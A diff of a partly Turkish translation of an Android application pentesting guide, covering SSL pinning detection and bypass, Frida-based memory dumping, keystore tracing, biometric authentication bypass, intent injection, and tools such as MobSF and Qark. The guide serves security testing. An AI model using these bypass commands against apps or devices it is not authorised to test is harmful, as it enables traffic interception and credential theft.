**Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data. +- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities. -#### Certificate Verification +#### Sertifika Doğrulama -Biz **certificate verification** üzerinde yoğunlaşacağız. Sunucunun sertifika bütünlüğü güvenliği artırmak için doğrulanmalıdır. Bu önemlidir çünkü zayıf TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallarda iletilmesi önemli riskler oluşturabilir. Sunucu sertifikalarının doğrulanması ve zafiyetlerin giderilmesi için adım adım rehberlik sağlayan daha fazla bilgi için [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) adresine bakın. +Sertifika doğrulama üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü güvenliği artırmak için doğrulanmalıdır. Güvensiz TLS konfigürasyonları ve hassas verilerin şifrelenmemiş kanallarda iletilmesi ciddi riskler oluşturabilir. Sunucu sertifikalarını doğrulama ve zafiyetleri ele alma konusunda ayrıntılı adımlar için [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar. #### SSL Pinning -SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopyaya karşı doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için kritiktir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir. +SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopyayla doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için kritiktir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir. -#### Traffic Inspection +#### Trafik İncelemesi -HTTP trafiğini incelemek için proxy aracının sertifikasını (ör. Burp) **yüklemeniz** gerekir. Bu sertifika yüklenmeden şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) bakın. +HTTP trafiğini incelemek için proxy aracının sertifikasını (ör. Burp) **yüklemeniz gereklidir**. Bu sertifika yüklü değilse, şifrelenmiş trafik proxy üzerinden görünmeyebilir. Özel bir CA sertifikasının nasıl yükleneceğine dair rehber için [**tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Uygulamalar **API Level 24 and above** hedefliyorsa, proxy'nin CA sertifikasını kabul etmek için Network Security Config üzerinde değişiklik yapılması gerekir. Şifreli trafiği incelemek için Network Security Config'i nasıl değiştireceğinize dair talimatlar için [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +API Level 24 ve üzerini hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Network Security Config üzerinde değişiklik yapılmasını gerektirir. Bu adım, şifrelenmiş trafiği incelemek için kritiktir. Network Security Config'i değiştirme talimatları için [**bu eğitime bakın**](make-apk-accept-ca-certificate.md). -Eğer **Flutter** kullanılıyorsa, [**this page**](flutter.md) içindeki talimatları takip etmeniz gerekir. Sadece sertifikayı store'a eklemek işe yaramaz çünkü Flutter'ın kendi geçerli CA listesi vardır. +Eğer **Flutter** kullanılıyorsa, [**bu sayfa**](flutter.md) üzerindeki talimatları izlemelisiniz. Çünkü sertifikayı store'a eklemek tek başına işe yaramaz; Flutter'ın kendi geçerli CA listesi vardır. -#### Static detection of SSL/TLS pinning +#### SSL/TLS pinning'in statik tespiti -Runtime bypass denemeden önce, pinning'in APK içinde nerede uygulandığını hızlıca haritalandırın. Statik keşif, hook/patch planlamanıza ve doğru kod yollarına odaklanmanıza yardımcı olur. +Runtime bypasses denemeden önce, pinning'in APK içinde nerede uygulandığını hızlıca haritalayın. Statik keşif, hooks/patches planlamanıza ve doğru kod yollarına odaklanmanıza yardımcı olur. Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- Açık kaynaklı bir statik-analiz aracı olup APK'yı Smali'ye (apktool aracılığıyla) decompile eder ve SSL/TLS pinning implementasyonlarına ait seçilmiş regex pattern'lerini tarar. +- Her eşleşme için tam dosya yolu, satır numarası ve bir kod snippet'i raporlar. +- OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers ve Network Security Config XML pin'leri gibi yaygın framework'leri ve custom kod yollarını kapsar. -Install +Kurulum - Prereqs: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect @@ -464,8 +461,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -Örnek desen kuralları (JSON) -Özel/özelleştirilmiş pinning stillerini tespit etmek için signatures kullanın veya genişletin. Kendi JSON'unuzu yükleyip büyük ölçekte tarama yapabilirsiniz. +Örnek pattern kuralları (JSON) +Özelleştirilmiş pinning stillerini tespit etmek için signatures kullanın veya bunları genişletin. Kendi JSON'unuzu yükleyerek ölçekli scan yapabilirsiniz. ```json { "OkHttp Certificate Pinning": [ @@ -482,40 +479,40 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v Notlar ve ipuçları - Büyük uygulamalarda çoklu iş parçacığı ve memory-mapped I/O ile hızlı tarama; önceden derlenmiş regex, yükü/yanlış pozitifleri azaltır. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Sonraki triage için tipik tespit hedefleri: -- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references -- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers -- Declarative pins in res/xml network security config and manifest references -- Eşleşen konumları Frida hook'ları, statik yamalar veya konfigürasyon incelemeleri planlamak için kullanın; dinamik testten önce bu adımları yapın. +- Bir sonraki önceliklendirme için tipik tespit hedefleri: +- OkHttp: CertificatePinner kullanımı, setCertificatePinner, okhttp3/okhttp paket referansları +- Özel TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted override'ları +- Özel SSL context'leri: SSLContext.getInstance + SSLContext.init ile özel manager'lar +- Declarative pins in res/xml network security config ve manifest referansları +- Eşleşen konumları Frida hook'ları, statik yamalar veya config incelemelerini dinamik testlerden önce planlamak için kullanın. -#### SSL Pinning'i Atlama +#### Bypassing SSL Pinning -SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlamak gerekebilir. Bu amaçla çeşitli yöntemler mevcuttur: +SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlamak gerekir. Bu amaç için çeşitli yöntemler mevcuttur: -- [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) ile **apk**'yı otomatik olarak **değiştirip** SSLPinning'i **atlayabilirsiniz**. Bu seçeneğin en büyük artısı, SSL Pinning'i atlamak için root'a ihtiyacınız olmamasıdır; ancak uygulamayı silip yeni sürümünü yeniden yüklemeniz gerekir ve her zaman işe yaramayabilir. -- Bu korumayı atlamak için **Frida** (aşağıda tartışılıyor) kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için bir rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- [**objection**](frida-tutorial/objection-tutorial.md) kullanarak SSL Pinning'i **otomatik olarak atlamayı** da deneyebilirsiniz:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- **MobSF dynamic analysis** kullanarak SSL Pinning'i **otomatik atlamayı** da deneyebilirsiniz (aşağıda açıklanmıştır) -- Eğer hala yakalayamadığınız trafik olduğunu düşünüyorsanız, trafiği iptables ile burp'a **yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. +- Bu korumayı atlamak için **Frida** (aşağıda tartışılmıştır) kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için bir rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Aşağıdaki komut ile [**objection**](frida-tutorial/objection-tutorial.md) kullanarak SSL Pinning'i **otomatik olarak atlamayı** de deneyebilirsiniz: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Ayrıca **MobSF dynamic analysis** kullanarak SSL Pinning'i **otomatik olarak atlamayı** deneyebilirsiniz (aşağıda açıklanmıştır) +- Hâlâ yakalayamadığınız trafik olduğunu düşünüyorsanız trafiği iptables kullanarak burp'a iletmeyi deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Yaygın Web Zafiyetlerini Arama +#### Looking for Common Web Vulnerabilities -Uygulama içinde yaygın web zafiyetlerini de aramak önemlidir. Bu zafiyetleri tespit etme ve hafifletme konusundaki detaylı bilgiler bu özetin kapsamı dışında olup başka kaynaklarda ayrıntılı şekilde ele alınmıştır. +Uygulama içinde yaygın web zayıflıklarını aramak da önemlidir. Bu zayıflıkların belirlenmesi ve hafifletilmesine dair ayrıntılı bilgiler bu özetin kapsamı dışında olup başka kaynaklarda genişçe ele alınmıştır. ### Frida -[Frida](https://www.frida.re) geliştiriciler, reverse-engineers ve güvenlik araştırmacıları için dinamik enstrümantasyon toolkit'idir.\ -**Çalışan uygulamaya erişip çalışma zamanında yöntemleri hooklayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kod çalıştırabilirsiniz...**\ -Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmeniz gerekir. +[Frida](https://www.frida.re) geliştiriciler, reverse-engineer'lar ve güvenlik araştırmacıları için dinamik bir instrumentation toolkit'idir.\ +**Çalışan uygulamaya erişip runtime'da metotları hook'layarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kod çalıştırabilirsiniz...**\ +Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz. -- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida tutorial**](frida-tutorial/index.html) -- Frida ile yapılacak işlemler için bazı "GUI"ler: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Frida kullanmayı öğrenin: [**Frida tutorial**](frida-tutorial/index.html) +- Frida ile işlemler için bazı "GUI"ler: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Bazı Awesome Frida script'lerini burada bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Frida/anti-debugging mekanizmalarını atlatmaya çalışın; Frida'yı şu kaynakta gösterildiği gibi yükleyerek atlatmayı deneyin: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (araç: [linjector](https://github.com/erfur/linjector-rs)) +- Frida'yı, [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin (tool [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -523,11 +520,11 @@ Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanaca android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Belleği Dökme - Fridump** +### **Dump Memory - Fridump** -Uygulamanın şifreler veya mnemonic'ler gibi saklamaması gereken hassas bilgileri bellekte tutup tutmadığını kontrol edin. +Uygulamanın parolalar veya mnemonic'ler gibi saklamaması gereken hassas bilgileri bellek içinde saklayıp saklamadığını kontrol edin. -[**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini şu komutla dökebilirsiniz: +Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: ```bash # With PID python3 fridump3.py -u @@ -536,15 +533,15 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Bu, belleği ./dump klasörüne dump edecek; orada şu gibi bir komutla grep yapabilirsiniz: +Bu, belleği ./dump folder'a dump edecek ve orada şu gibi bir şeyle grep yapabilirsiniz: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` -### **Keystore'da hassas veriler** +### **Keystore'daki hassas veriler** -Android'de Keystore hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıkla yine de **erişmek mümkün** olabilir. Uygulamalar genellikle burada **hassas verileri açık metin olarak** saklama eğiliminde olduğundan, pentests bunu kontrol etmelidir; kök kullanıcı veya cihaza fiziksel erişimi olan birisi bu verileri çalabilir. +Android'de Keystore hassas verileri depolamak için en iyi yerdir; ancak yeterli ayrıcalığa sahip olunursa yine de **ona erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri açık metin olarak** depolama eğiliminde olduğundan, pentests bunu root user veya cihaza fiziksel erişimi olan birinin bu verileri çalabilme ihtimaline karşı kontrol etmelidir. -Bir uygulama keystore'a veri depolasa bile, veriler şifrelenmiş olmalıdır. +Bir uygulama verileri Keystore'da saklasa bile, veriler şifrelenmiş olmalıdır. Keystore içindeki verilere erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash @@ -552,47 +549,47 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** amacıyla uyguluyor olabileceği **bypass fingerprint authentication** işlemi mümkün olabilir: +Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** amacıyla gerçekleştirebilecekleri **parmak izi doğrulamasını atlatmak** mümkün olabilir: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` -### **Arka Plan Görüntüleri** +### **Background Images** -Bir uygulamayı arka plana attığınızda, Android uygulamanın bir **snapshot'ını** saklar; böylece uygulama tekrar ön plana geldiğinde, uygulama yüklenmeden önce görüntüyü yükleyerek uygulamanın daha hızlı açılmış gibi görünmesini sağlar. +Bir uygulamayı arka plana aldığınızda, Android uygulamanın bir **uygulamanın anlık görüntüsünü** saklar; böylece uygulama ön plana geri getirildiğinde, uygulama başlamadan önce bu görüntüyü yükleyerek uygulamanın daha hızlı açılmış gibi görünmesini sağlar. -Ancak, eğer bu snapshot içinde **hassas bilgiler** bulunuyorsa, snapshot'a erişimi olan biri bu bilgileri **çalabilir** (erişim için root gerektiğini unutmayın). +Ancak bu **anlık görüntü** hassas bilgi içeriyorsa, anlık görüntüye erişimi olan biri bu bilgiyi **çalabilir** (erişim için root gerektiğini unutmayın). -Bu snapshot'lar genellikle şu konumda saklanır: **`/data/system_ce/0/snapshots`** +Anlık görüntüler genellikle şu konumda saklanır: **`/data/system_ce/0/snapshots`** -Android, layout parametresi olarak **FLAG_SECURE'i ayarlayarak screenshot alınmasını engelleme** imkanı sağlar. Bu flag kullanıldığında, pencere içeriği güvenli olarak değerlendirilir; böylece içerik screenshot'larda görünmesi veya güvenli olmayan ekranlarda görüntülenmesi engellenir. +Android, layout parametresi olarak **FLAG_SECURE ayarlanarak ekran görüntüsü alınmasını engelleme** imkanı sağlar. Bu flag kullanıldığında, pencere içeriği güvenli olarak işaretlenir; böylece ekran görüntülerinde görünmesi veya güvenli olmayan ekranlarda görüntülenmesi engellenir. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` -### **Android Uygulama Analizörü** +### **Android Application Analyzer** -Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Geliştiriciler sıklıkla bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi metodlara ileten activity, service ve broadcast receiver gibi proxy bileşenleri oluştururlar; bu durum riskli olabilir. +Geliştiriciler genellikle activities, services ve broadcast receivers gibi proxy bileşenler oluşturur; bu bileşenler bu Intents'i işleyip `startActivity(...)` veya `sendBroadcast(...)` gibi metodlara iletebilir ve bu durum riskli olabilir. -Tehlike, saldırganların bu Intents'i yanlış yönlendirerek non-exported uygulama bileşenlerini tetiklemesine veya hassas content providers'a erişimine izin verilmesinde yatar. Örnek olarak, `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile `Intent` nesnelerine dönüştürmesi ve ardından bunları çalıştırması, kötü amaçlı Intent enjeksiyonlarına yol açabilir. +Tehlike, saldırganların bu Intent'leri yanlış yönlendirerek export edilmeyen uygulama bileşenlerini tetiklemesine veya hassas content providers'a erişmesine izin verilmesinde yatıyor. Önemli bir örnek, `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile `Intent` objelerine çevirip sonra bunları çalıştırmasıdır; bu durum kötü amaçlı Intent injection'larına yol açabilir. ### Temel Çıkarımlar -- **Intent Injection** webdeki Open Redirect sorununa benzer. -- Sömürüler, `Intent` nesnelerinin extras olarak geçirilmesini ve bu şekilde tehlikeli işlemlere yönlendirilmesini içerir. -- Bu, non-exported bileşenleri ve content providers'ı saldırganlara maruz bırakabilir. -- `WebView`’in URL'den `Intent`'e dönüşümü istenmeyen eylemleri kolaylaştırabilir. +- **Intent Injection** web'deki Open Redirect sorununa benzer. +- Sömürüler, `Intent` nesnelerinin extras olarak geçirilmesini ve bunların tehlikeli işlemler gerçekleştirecek şekilde yönlendirilmesini içerir. +- Bu, export edilmeyen bileşenleri ve content providers'ı saldırganlara açabilir. +- `WebView`'in URL'den `Intent`'e dönüşümü istenmeyen eylemleri kolaylaştırabilir. ### Android Client Side Injections and others -Muhtemelen bu tür açıklıkları Web'den biliyorsunuzdur. Android uygulamalarında bu tür açıklıklara karşı özellikle dikkatli olmanız gerekir: +Muhtemelen bu tür zafiyetleri Web'den biliyorsunuzdur. Android uygulamalarında bu zafiyetlere karşı özellikle dikkatli olmalısınız: -- **SQL Injection:** Dinamik sorgular veya Content-Providers ile çalışırken parameterized queries kullandığınızdan emin olun. -- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışı). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebView'ların dosya sistemine erişimi kapalı olmalıdır (varsayılan olarak açık) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies:** Birçok durumda Android uygulaması oturumu kapattığında cookie iptal edilmez veya diske kaydedilebilir. +- **SQL Injection:** Dinamik sorgular veya Content-Providers ile çalışırken parametreli sorgular kullandığınızdan emin olun. +- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı bırakıldığını doğrulayın (varsayılan olarak devre dışıdır). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebView'ların dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: Bazı durumlarda Android uygulama oturumu kapattığında cookie iptal edilmiyor veya diske kaydedilebiliyor - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -605,7 +602,7 @@ Muhtemelen bu tür açıklıkları Web'den biliyorsunuzdur. Android uygulamalar ![](<../../images/image (866).png>) -Uygulamanın zafiyet değerlendirmesi hoş bir web tabanlı frontend üzerinden yapılır. Dinamik analiz de gerçekleştirebilirsiniz (ancak ortamı hazırlamanız gerekir). +**Uygulamanın zafiyet değerlendirmesini** güzel bir web tabanlı ön yüz kullanarak yapar. Dinamik analiz de yapabilirsiniz (ancak ortamı hazırlamanız gerekir). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -615,12 +612,12 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. -### Assisted Dynamic analysis with MobSF +### MobSF ile Yardımlı Dynamic analysis **MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ The **MobSF dynamic analyser** can: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Bu öğelerin tamamı otomatik olarak toplanır; ekran görüntüleri hariç, bir ekran görüntüsü almak istediğinizde manuel olarak basmanız gerekir veya tüm exported aktivitelerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" ı kullanmanız gerekir. +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. - Capture **HTTPS traffic** - Use **Frida** to obtain **runtime** **information** @@ -632,24 +629,24 @@ By default, it will also use some Frida Scripts to **bypass SSL pinning**, **roo MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ -MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). +MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). ![](<../../images/image (419).png>) Moreover, you have some Auxiliary Frida functionalities: -- **Enumerate Loaded Classes**: Yüklü tüm sınıfları yazdırır. -- **Capture Strings**: Uygulamayı kullanırken yakalanan tüm stringleri yazdırır (çok gürültülü, çok fazla çıktı üretir). -- **Capture String Comparisons**: Çok kullanışlı olabilir. Karşılaştırılan 2 stringi ve sonucun True mu yoksa False mı olduğunu gösterir. -- **Enumerate Class Methods**: Sınıf adını girin (ör. "java.io.File") ve sınıfın tüm metodlarını yazdırır. -- **Search Class Pattern**: Sınıfları pattern ile arar. -- **Trace Class Methods**: Bir sınıfı tamamen **trace** eder (sınıftaki tüm metodların giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF bir dizi ilginç Android Api metodunu trace eder. +- **Enumerate Loaded Classes**: It will print all the loaded classes +- **Capture Strings**: It will print all the capture strings while using the application (super noisy) +- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. +- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. +- **Search Class Pattern**: Search classes by pattern +- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". **Shell** -Mobsf ayrıca dynamic analysis sayfasının altında bazı **adb** komutları, **MobSF** komutları ve yaygın **shell** komutları içeren bir shell de sunar. Bazı ilginç komutlar: +Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: ```bash help shell ls @@ -658,15 +655,15 @@ exported_activities services receivers ``` -**HTTP tools** +**HTTP araçları** -When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ -To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +HTTP trafiği yakalandığında, yakalanan trafiğin çirkin bir görünümünü "**HTTP(S) Traffic**" altından veya daha hoş bir görünümünü "**Start HTTPTools**" yeşil butondan görebilirsiniz. İkinci seçenekten **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxies**'e **send** edebilirsiniz.\ +Bunu yapmak için, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> basın "**Send to Fuzzer**" --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. +MobSF ile dinamik analizi bitirdikten sonra "**Start Web API Fuzzer**" a basarak **fuzz http requests** yapıp zafiyet arayabilirsiniz. > [!TIP] -> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: +> MobSF ile dinamik analiz yaptıktan sonra proxy ayarları yanlış yapılandırılabilir ve GUI üzerinden düzeltilemeyebilir. Proxy ayarlarını düzeltmek için şu komutu kullanabilirsiniz: > > ``` > adb shell settings put global http_proxy :0 @@ -674,18 +671,18 @@ Once you finish the dynamic analysis with MobSF you can press on "**Start Web AP ### Assisted Dynamic Analysis with Inspeckage -You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**. +Aracı [**Inspeckage**](https://github.com/ac-pm/Inspeckage) üzerinden edinebilirsiniz.\ +Bu araç bazı **Hooks** kullanarak **dinamik analiz** sırasında uygulamada **nelerin olup bittiğini** görmenizi sağlar. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -This is a **great tool to perform static analysis with a GUI** +Bu, GUI ile **statik analiz** yapmak için harika bir araçtır ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. +Bu araç, hem **source code** hem de paketlenmiş APK'larda çeşitli güvenlik ile ilgili Android uygulama zafiyetlerini aramak için tasarlanmıştır. Araç ayrıca bulunan bazı zafiyetleri (Exposed activities, intents, tapjacking...) istismar etmek için deploy edilebilir bir "Proof-of-Concept" APK ve ADB commands oluşturabilme yeteneğine sahiptir. Drozer'da olduğu gibi test cihazını rootlamaya gerek yoktur. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -694,22 +691,22 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Kolay başvuru için tüm çıkarılan dosyaları gösterir +- Kolay başvuru için çıkarılan tüm dosyaları gösterir - APK dosyalarını otomatik olarak Java ve Smali formatına decompile eder -- AndroidManifest.xml'i yaygın zafiyetler ve davranış açısından analiz eder -- Yaygın zafiyetler ve davranışlar için statik kaynak kodu analizi yapar -- Cihaz bilgileri +- AndroidManifest.xml'i yaygın zafiyetler ve davranışlar için analiz eder +- Yaygın zafiyetler ve davranışlar için statik kaynak kod analizi 